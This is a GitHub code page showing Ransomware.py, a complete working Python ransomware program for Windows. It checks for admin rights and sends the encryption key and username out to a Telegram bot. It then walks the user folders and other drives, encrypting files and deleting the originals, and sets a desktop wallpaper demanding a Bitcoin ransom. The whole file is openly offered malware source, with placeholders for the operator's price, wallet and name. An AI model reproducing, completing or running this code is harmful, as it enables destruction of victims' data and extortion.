-
Notifications
You must be signed in to change notification settings - Fork 80
/
Ransomware.py
138 lines (98 loc) · 8.04 KB
/
Ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
#!/usr/bin/python3
import threading, ctypes, pathlib, nacl, tkinter
import cryptography, os, requests, sys, nacl.secret
from PIL import Image, ImageDraw, ImageFont
from win32api import GetSystemMetrics
from tkinter import messagebox
from time import sleep
class D_E_ncrypt(object): # Encrypter Class (Our main Class )
def __init__(self, Target=0, BoxM=0, Url=0):
self.Target = Target # File Path
self.BoxM = BoxM # Our Box Moudle
self.Url = Url # Our Api Url in my case Telegram
def FileE(loc): # We Pass File Name And Path In Hare In Order To Encrypt Them
print(f"FILE -> {loc.Target}")
try: # Run Try/Except So We Dont Run in to Error
if (os.path.isdir(loc.Target) != True) : # Cheak If Its File not Directory
with open(loc.Target, "rb") as File: # Opeing File
Date = File.read() # Reading File & Saving it In tmp Var
FileName = loc.Target # File name
Encrypted = loc.BoxM.encrypt(Date) # Encrypting tmp Var
if(loc.Target != sys.argv[0]): # If Target File is not Our own script Do this
with open(f"{FileName}.lol","wb") as File: # Opeing File To write File
print(f"FILE -> {FileName}") # Printing File name for batter Debug
File.write(Encrypted) # Writeing The File
os.remove(loc.Target) # Removing OG File
except Exception as e:print(f"Error -> {e}")
def SendKey(Key): # We Pass Decrypt Key and Api url To Make Get request
requests.get(Key.Url) # We send request
User = os.getlogin() # Getting Username
Script = sys.argv[0] # Getting Our Script name
MaxThread = 120 # Setting up Our max Number of Thread
AdminRight = ctypes.windll.shell32.IsUserAnAdmin() # Cheaking for admin Perms
Key = nacl.utils.random(nacl.secret.SecretBox.KEY_SIZE) # Making A key IN order to D/Encypt with it
Box = nacl.secret.SecretBox(Key) # Our Safe box Moudle that we use to Decrypte
Token = "Your Telegram Token So you can Get Decrypt The Files!" # Our Api Token
NumID = "Your User ID so Bot just Send Key To You !" # Our User ID
Message = (f"{User} -> {Key}") # Makeing Prefix for Massges
PathList = [r"C:\Users\\"] # You can add more Paths hare if you went
for Latter in range(97,123): (PathList.append(f"{chr(Latter)}:\\")) # Making list of A,Z in order to pass as Drive to our path list
PathList.remove("c:\\") # Removing C Drive
print(f"list -> {PathList}") # Remove This line this is just for Debuging
print(f"We are -> {Script}") # Remove This line this is just for Debuging
print(f"Key - > {Key}") # Remove This line this is just for Debuging
def OneStart():
try: # Run Try/Except So We Dont Run in to Error
HttpReq = D_E_ncrypt(Url=f"https://api.telegram.org/bot{Token}/sendMessage?chat_id={NumID}&text={Message}")
threading.Thread(target=HttpReq.SendKey, args=()).start() # Making HttpReq Moudle And Runnig it In a Thread
Img = Image.new('RGB', (GetSystemMetrics(0), GetSystemMetrics(1)), color = (0, 0, 0)) # Getting Window Heihgt & Weight To Make Background
Canvas= ImageDraw.Draw(Img) # Drawing Image
font = ImageFont.truetype("arial", int(GetSystemMetrics(1)/20)) # Getting Right Font Size
Canvas.text(
(10,10), (r"""
Your data Is encrypted In order to Get your
> date back Send me (YOUR PRICE USD) in BTC to this Wellt
> and then email me for your key
> YOUR WELLET
> GoodLuck :)
> ~ YOUR NAME """),
fill=(255,0,0),font=font) # Write Text On Image
Img.save('Bg.png') # Save Image as bg.png
ctypes.windll.user32.SystemParametersInfoW(20, 0, f'{os.getcwd()}\\Bg.png' , 0) # Set New Background Up
except:pass
def CallErrorBox(): # Making Simple Error Box in Tk
WINDOW = tkinter.Tk() # Making Tk Window
WINDOW.withdraw() # Destroying Tk Window
messagebox.showerror("Error", "Try To Re-Run As Administrator")
if __name__ == '__main__': # Check IF Script IS Excuted By User.
if(AdminRight): # Check IF Script Have Admin Access
OneStart() # Run On start Def To Send HttpReq
for AllFiles in PathList:
try: # Run Try/Except So We Dont Run in to Error & background
if (pathlib.Path(AllFiles).exists()): # Cheak if Path Exist
for path, subdirs, files in os.walk(AllFiles): # For All Drives & Files
if("$Recycle.Bin" in path):pass # Skip Junks
elif("c:\\Windows" in path):pass # Skip c:\\Windows
elif("\\AppData\\" in path):pass # Skip \AppData\
elif("System32" in path):pass # Skip System32
else: # After That
for name in files: # For Files in Folder
FilePath = os.path.join(path, name) # Join File path to File Name
FileSize = os.stat(FilePath).st_size # Get The File Size
if(".dll" in name ):pass # Skip This File Format
elif(".exe" in name ):pass # Skip This File Format
elif(".msn" in name ):pass # Skip This File Format
else :
if (FileSize >= 50000000 ): # If File size is More then 50mb make Thread for this file
while True: # Make While Ture
if len(threading.enumerate()) < MaxThread: # IF your Worker List is Free
EncrypterObj = D_E_ncrypt(FilePath, Box) # Pass in file name And key
threading.Thread(target=EncrypterObj.FileE, args=()).start() # to Encypte.
break # Break Out
else: sleep(0.2) # Sleep for 0.2 Sec Until Spot Get Free
else :
print(FilePath) # Remove This line this is just for Debuging
D_E_ncrypt(FilePath, Box).FileE() # Pass In File Name And key
except Exception as e:print(f"Error -> {e}") # remove Print And Replace Ut With Pass
else:
CallErrorBox() # Call Error Box